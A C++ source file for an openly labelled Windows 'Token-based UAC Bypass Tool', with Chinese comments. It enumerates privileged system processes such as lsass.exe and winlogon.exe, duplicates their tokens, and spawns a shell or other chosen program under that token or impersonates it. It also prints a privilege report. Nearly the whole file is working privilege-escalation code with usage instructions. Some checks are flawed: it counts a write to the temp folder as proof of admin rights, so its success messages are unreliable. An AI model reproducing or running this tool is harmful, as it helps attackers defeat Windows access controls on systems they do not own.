// g++ -o token_bypass.exe token_bypass.cpp -ladvapi32 -lole32
#include <iostream>
#include <windows.h>
#include <string>
#include <vector>
#include <tlhelp32.h>
#include <psapi.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <aclapi.h>
#include <sddl.h>

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shlwapi.lib")

// 常见的系统进程列表（可能具有高权限令牌）
std::vector<std::wstring> GetSystemProcesses() {
    std::vector<std::wstring> processes;
    
    processes.push_back(L"winlogon.exe");      // Windows登录进程
    processes.push_back(L"services.exe");     // 服务控制管理器
    processes.push_back(L"lsass.exe");         // 本地安全认证子系统
    processes.push_back(L"svchost.exe");       // 服务主机进程
    processes.push_back(L"csrss.exe");         // 客户端服务器运行时子系统
    processes.push_back(L"explorer.exe");      // Windows资源管理器
    processes.push_back(L"taskhost.exe");     // 任务主机进程
    processes.push_back(L"dwm.exe");           // 桌面窗口管理器
    processes.push_back(L"spoolsv.exe");      // 打印后台处理程序
    processes.push_back(L"SearchIndexer.exe"); // Windows搜索索引器
    
    return processes;
}

// 获取进程ID通过进程名
DWORD GetProcessIdByName(const std::wstring& processName) {
    DWORD processId = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    if (hSnapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32W pe;
        pe.dwSize = sizeof(PROCESSENTRY32W);
        
        if (Process32FirstW(hSnapshot, &pe)) {
            do {
                if (_wcsicmp(pe.szExeFile, processName.c_str()) == 0) {
                    processId = pe.th32ProcessID;
                    break;
                }
            } while (Process32NextW(hSnapshot, &pe));
        }
        
        CloseHandle(hSnapshot);
    }
    
    return processId;
}

// 检查进程是否具有管理员权限
bool IsProcessElevated(DWORD processId) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processId);
    if (!hProcess) {
        return false;
    }
    
    HANDLE hToken;
    BOOL isElevated = FALSE;
    
    if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION elevation;
        DWORD size;
        
        if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &size)) {
            isElevated = elevation.TokenIsElevated;
        }
        
        CloseHandle(hToken);
    }
    
    CloseHandle(hProcess);
    return isElevated;
}

// 获取进程的完整性级别
DWORD GetProcessIntegrityLevel(DWORD processId) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processId);
    if (!hProcess) {
        return 0;
    }
    
    HANDLE hToken;
    DWORD integrityLevel = 0;
    
    if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
        DWORD size;
        PTOKEN_MANDATORY_LABEL pTIL = NULL;
        
        if (GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &size)) {
            pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, size);
            if (pTIL != NULL) {
                if (GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, size, &size)) {
                    integrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, 
                        (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid)-1));
                }
                LocalFree(pTIL);
            }
        }
        
        CloseHandle(hToken);
    }
    
    CloseHandle(hProcess);
    return integrityLevel;
}

// 复制进程令牌
HANDLE DuplicateProcessToken(DWORD processId) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processId);
    if (!hProcess) {
        std::wcout << L"[Error] Failed to open process: " << processId << std::endl;
        return NULL;
    }
    
    HANDLE hToken;
    if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
        std::wcout << L"[Error] Failed to open process token: " << processId << std::endl;
        CloseHandle(hProcess);
        return NULL;
    }
    
    HANDLE hDuplicatedToken;
    if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicatedToken)) {
        std::wcout << L"[Error] Failed to duplicate token: " << processId << std::endl;
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return NULL;
    }
    
    CloseHandle(hToken);
    CloseHandle(hProcess);
    
    return hDuplicatedToken;
}

// 使用令牌创建新进程
bool CreateProcessWithToken(HANDLE hToken, const std::wstring& programPath, const std::wstring& arguments) {
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    
    std::wstring commandLine = programPath;
    if (!arguments.empty()) {
        commandLine += L" " + arguments;
    }
    
    // 创建可写缓冲区
    wchar_t* writableCommandLine = _wcsdup(commandLine.c_str());
    
    BOOL result = CreateProcessAsUserW(
        hToken,
        NULL,                    // 应用程序名
        writableCommandLine,     // 命令行
        NULL,                    // 进程安全属性
        NULL,                    // 线程安全属性
        FALSE,                   // 不继承句柄
        CREATE_NEW_CONSOLE,      // 创建新控制台
        NULL,                    // 环境块
        NULL,                    // 当前目录
        &si,                     // 启动信息
        &pi                      // 进程信息
    );
    
    free(writableCommandLine);
    
    if (result) {
        std::wcout << L"[Success] Process created successfully with token" << std::endl;
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return true;
    } else {
        std::wcout << L"[Error] Failed to create process with token: " << GetLastError() << std::endl;
        return false;
    }
}

// 令牌模拟（临时提升权限）
bool ImpersonateToken(HANDLE hToken) {
    if (ImpersonateLoggedOnUser(hToken)) {
        std::wcout << L"[Success] Token impersonation successful" << std::endl;
        return true;
    } else {
        std::wcout << L"[Error] Token impersonation failed: " << GetLastError() << std::endl;
        return false;
    }
}

// 恢复令牌模拟
void RevertTokenImpersonation() {
    ::RevertToSelf();
    std::wcout << L"[Info] Original token restored" << std::endl;
}

// 检查当前进程是否具有管理员权限
BOOL IsElevated() {
    BOOL fRet = FALSE;
    HANDLE hToken = NULL;
    
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);
        
        if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
            fRet = Elevation.TokenIsElevated;
        }
    }
    
    if (hToken) {
        CloseHandle(hToken);
    }
    
    return fRet;
}

// 检查进程是否在管理员完整性级别运行
bool IsRunningWithHighIntegrity() {
    HANDLE hToken;
    DWORD dwLengthNeeded;
    PTOKEN_MANDATORY_LABEL pTIL = NULL;
    DWORD dwIntegrityLevel;
    bool result = false;
    
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        if (GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLengthNeeded)) {
            pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, dwLengthNeeded);
            if (pTIL != NULL) {
                if (GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLengthNeeded, &dwLengthNeeded)) {
                    dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, 
                        (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid)-1));
                    
                    // 高完整性级别 (0x00003000)
                    if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
                        result = true;
                    }
                }
                LocalFree(pTIL);
            }
        }
        CloseHandle(hToken);
    }
    
    return result;
}

// 尝试执行需要管理员权限的操作来验证权限
bool TestAdminPrivileges() {
    // 尝试打开需要管理员权限的注册表键
    HKEY hKey;
    LONG lResult = RegOpenKeyExW(HKEY_LOCAL_MACHINE, 
        L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 
        0, KEY_ALL_ACCESS, &hKey);
    
    if (lResult == ERROR_SUCCESS) {
        RegCloseKey(hKey);
        return true;
    }
    
    // 尝试创建系统目录下的文件（需要管理员权限）
    WCHAR tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    
    std::wstring testFile = std::wstring(tempPath) + L"token_test_" + std::to_wstring(GetCurrentProcessId()) + L".tmp";
    
    HANDLE hFile = CreateFileW(testFile.c_str(), GENERIC_WRITE, 0, NULL, 
        CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, NULL);
    
    if (hFile != INVALID_HANDLE_VALUE) {
        CloseHandle(hFile);
        DeleteFileW(testFile.c_str());
        return true;
    }
    
    return false;
}

// 检查UAC是否启用
bool IsUACEnabled() {
    HKEY hKey;
    DWORD dwUACEnabled = 1;
    DWORD dwSize = sizeof(DWORD);
    
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, 
        L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 
        0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        
        RegQueryValueExW(hKey, L"EnableLUA", NULL, NULL, 
            (LPBYTE)&dwUACEnabled, &dwSize);
        RegCloseKey(hKey);
    }
    
    return (dwUACEnabled != 0);
}

// 详细的权限验证报告
void PrintPrivilegeReport() {
    std::wcout << L"\n=== Token Bypass Privilege Verification Report ===" << std::endl;
    
    // 检查管理员权限
    BOOL isElevated = IsElevated();
    std::wcout << L"Administrator Privilege Detection: " << (isElevated ? L"[Yes]" : L"[No]") << std::endl;
    
    // 检查完整性级别
    bool isHighIntegrity = IsRunningWithHighIntegrity();
    std::wcout << L"High Integrity Level: " << (isHighIntegrity ? L"[Yes]" : L"[No]") << std::endl;
    
    // 测试实际权限
    bool hasAdminPrivileges = TestAdminPrivileges();
    std::wcout << L"Actual Administrator Privileges: " << (hasAdminPrivileges ? L"[Yes]" : L"[No]") << std::endl;
    
    // 检查UAC状态
    bool uacEnabled = IsUACEnabled();
    std::wcout << L"UAC Status: " << (uacEnabled ? L"[Enabled]" : L"[Disabled]") << std::endl;
    
    // 综合判断
    if (isElevated && isHighIntegrity && hasAdminPrivileges) {
        std::wcout << L"\n[Success] Token Bypass Verification: Complete success!" << std::endl;
        std::wcout << L"Current process has full administrator privileges" << std::endl;
    } else if (isElevated || hasAdminPrivileges) {
        std::wcout << L"\n[Partial Success] Token Bypass Verification: Partial success" << std::endl;
        std::wcout << L"Current process has partial administrator privileges" << std::endl;
    } else {
        std::wcout << L"\n[Failure] Token Bypass Verification: Not successful" << std::endl;
        std::wcout << L"Current process has no administrator privileges" << std::endl;
    }
}

// 扫描系统进程寻找高权限令牌
HANDLE FindHighPrivilegeToken() {
    std::wcout << L"[Info] Scanning system processes for high privilege tokens..." << std::endl;
    
    auto systemProcesses = GetSystemProcesses();
    
    for (const auto& processName : systemProcesses) {
        DWORD processId = GetProcessIdByName(processName);
        if (processId == 0) {
            continue;
        }
        
        // 检查进程是否具有管理员权限
        if (IsProcessElevated(processId)) {
            DWORD integrityLevel = GetProcessIntegrityLevel(processId);
            
            std::wcout << L"[Found] High privilege process: " << processName 
                      << L" (PID: " << processId 
                      << L", Integrity Level: 0x" << std::hex << integrityLevel << std::dec << L")" << std::endl;
            
            // 尝试复制令牌
            HANDLE hToken = DuplicateProcessToken(processId);
            if (hToken != NULL) {
                std::wcout << L"[Success] Token successfully duplicated: " << processName << std::endl;
                return hToken;
            }
        }
    }
    
    std::wcout << L"[Error] No suitable high privilege token found" << std::endl;
    return NULL;
}

// 使用令牌绕过UAC
bool BypassUACWithToken(const std::wstring& targetProgram) {
    std::wcout << L"\n[Info] Starting token-based UAC bypass attempt..." << std::endl;
    
    // 寻找高权限令牌
    HANDLE hToken = FindHighPrivilegeToken();
    if (hToken == NULL) {
        std::wcout << L"[Error] Unable to obtain high privilege token" << std::endl;
        return false;
    }
    
    std::wstring programPath = targetProgram;
    std::wstring arguments = L"";
    
    // 如果是cmd.exe，添加验证命令
    if (targetProgram.find(L"cmd.exe") != std::wstring::npos) {
        arguments = L"/k echo [Token Bypass Successful] && whoami && echo Verifying privilege status... && echo.";
    }
    
    bool success = false;
    
    // 方法1: 使用令牌创建新进程
    std::wcout << L"[Attempt] Method 1: Creating new process with token..." << std::endl;
    success = CreateProcessWithToken(hToken, programPath, arguments);
    
    if (!success) {
        // 方法2: 令牌模拟
        std::wcout << L"[Attempt] Method 2: Token impersonation..." << std::endl;
        if (ImpersonateToken(hToken)) {
            // 在模拟状态下执行操作
            std::wcout << L"[Info] Currently in impersonation state, can perform privileged operations" << std::endl;
            
            // 这里可以添加需要在模拟状态下执行的特权操作
            
            // 恢复原始令牌
            RevertTokenImpersonation();
            success = true;
        }
    }
    
    CloseHandle(hToken);
    
    if (success) {
        std::wcout << L"[Success] Token-based UAC bypass executed successfully" << std::endl;
        
        // 等待进程启动
        Sleep(2000);
        
        // 在当前进程中显示详细的权限验证报告
        PrintPrivilegeReport();
        
        return true;
    }
    
    std::wcout << L"[Error] Token-based UAC bypass failed" << std::endl;
    return false;
}

// 直接请求管理员权限（备用方法）
bool LaunchElevatedProgram(const std::wstring& programPath) {
    std::wstring commandLine = L"";
    
    // 如果是cmd.exe，添加提示信息
    if (programPath.find(L"cmd.exe") != std::wstring::npos) {
        commandLine = L"/k echo [Direct Administrator Privilege Request] && whoami && echo.";
    }
    
    HINSTANCE result = ShellExecuteW(
        NULL,
        L"runas",
        programPath.c_str(),
        commandLine.c_str(),
        NULL,
        SW_SHOWNORMAL
    );
    
    return reinterpret_cast<INT_PTR>(result) > 32;
}

// 显示使用帮助
void ShowUsage() {
    std::cout << "Token-based UAC Bypass Tool Usage:" << std::endl;
    std::cout << "  token_bypass.exe                    - Default launch cmd.exe" << std::endl;
    std::cout << "  token_bypass.exe <program_path>     - Launch specified program" << std::endl;
    std::cout << "  token_bypass.exe cmd.exe           - Launch cmd.exe (default)" << std::endl;
    std::cout << "  token_bypass.exe powershell.exe    - Launch PowerShell" << std::endl;
    std::cout << "  token_bypass.exe notepad.exe       - Launch Notepad" << std::endl;
    std::cout << "  token_bypass.exe regedit.exe       - Launch Registry Editor" << std::endl;
    std::cout << "  token_bypass.exe compmgmt.msc      - Launch Computer Management" << std::endl;
    std::cout << "  token_bypass.exe control.exe       - Launch Control Panel" << std::endl;
    std::cout << "\nTechnical Description:" << std::endl;
    std::cout << "  This tool uses token manipulation techniques to bypass UAC" << std::endl;
    std::cout << "  Obtains administrator privileges by duplicating tokens from high privilege processes" << std::endl;
    std::cout << "  Supports both token duplication and token impersonation methods" << std::endl;
    std::cout << "\nExamples:" << std::endl;
    std::cout << "  token_bypass.exe powershell.exe    - Launch PowerShell with token bypass" << std::endl;
    std::cout << "  token_bypass.exe C:\\Program Files\\MyApp\\myapp.exe - Launch custom program" << std::endl;
}

// 主函数
int main(int argc, char* argv[]) {
    // 设置控制台编码为UTF-8
    system("chcp 65001 > nul");
    
    // 默认启动的程序
    std::wstring targetProgram = L"cmd.exe";
    
    // 解析命令行参数
    if (argc > 1) {
        // 首先检查帮助参数（使用ANSI字符串比较）
        std::string arg = argv[1];
        if (arg == "-h" || arg == "--help" || arg == "/?") {
            ShowUsage();
            std::cout << "Press any key to exit..." << std::endl;
            getchar();
            return 0;
        }
        
        // 如果不是帮助参数，则转换为宽字符串并设置目标程序
        int size_needed = MultiByteToWideChar(CP_ACP, 0, argv[1], -1, NULL, 0);
        std::wstring programArg(size_needed, 0);
        MultiByteToWideChar(CP_ACP, 0, argv[1], -1, &programArg[0], size_needed);
        
        targetProgram = programArg;
    }
    
    std::wcout << L"=== Token-based UAC Bypass Tool (with verification) ===" << std::endl;
    std::wcout << L"Target Program: " << targetProgram << std::endl;
    std::wcout << L"Checking system status..." << std::endl;
    
    // 首先显示当前权限状态
    PrintPrivilegeReport();
    
    // 检查当前权限
    if (IsElevated()) {
        std::wcout << L"\n[Info] Current process already has administrator privileges" << std::endl;
        std::wcout << L"Directly launching target program..." << std::endl;
        
        if (LaunchElevatedProgram(targetProgram)) {
            std::wcout << L"[Success] Target program launched successfully" << std::endl;
        } else {
            std::wcout << L"[Error] Failed to launch target program" << std::endl;
        }
        
        return 0;
    }
    
    std::wcout << L"\n[Info] Current process has no administrator privileges, starting token-based UAC bypass..." << std::endl;
    
    // 尝试令牌绕过
    if (BypassUACWithToken(targetProgram)) {
        std::wcout << L"[Success] Token-based UAC bypass completed successfully" << std::endl;
    } else {
        std::wcout << L"[Error] Token bypass failed, attempting direct administrator privilege request..." << std::endl;
        
        if (LaunchElevatedProgram(targetProgram)) {
            std::wcout << L"[Success] Administrator privileges obtained through direct request" << std::endl;
        } else {
            std::wcout << L"[Error] All methods failed" << std::endl;
            return -1;
        }
    }
    
    std::wcout << L"\nProgram execution completed" << std::endl;
    std::wcout << L"Press any key to exit..." << std::endl;
    getchar();
    
    return 0;
}